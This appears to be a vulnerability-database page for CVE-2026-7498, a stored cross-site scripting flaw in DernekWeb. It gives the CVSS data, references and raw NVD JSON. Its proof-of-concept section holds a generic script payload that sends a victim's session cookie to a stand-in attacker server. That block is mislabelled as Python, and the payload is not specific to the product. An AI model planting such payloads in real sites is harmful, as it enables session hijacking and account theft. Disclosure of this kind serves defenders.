CVE-2026-7498

Description

Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS. This issue affects DernekWeb: through 30122025.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DernekWeb <= 30122025

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Stored XSS in DernekWeb -->
<!-- Attacker injects this payload into a vulnerable input field (e.g., Feedback Form) -->
<script>
  // Simulate stealing session cookies
  fetch('http://attacker-controlled-server.com/steal?cookie=' + btoa(document.cookie));
  alert('XSS Executed');
</script>

<!-- Alternative simple payload -->
<img src=x onerror=alert(1)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7498
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7498
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7498/
[4] VulDB https://vuldb.com/cve/CVE-2026-7498
[5] https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0258

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7498", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:24.460", "lastModified": "2026-05-18T17:51:22.787", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS.\n\nThis issue affects DernekWeb: through 30122025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0258", "source": "[email protected]"}]}}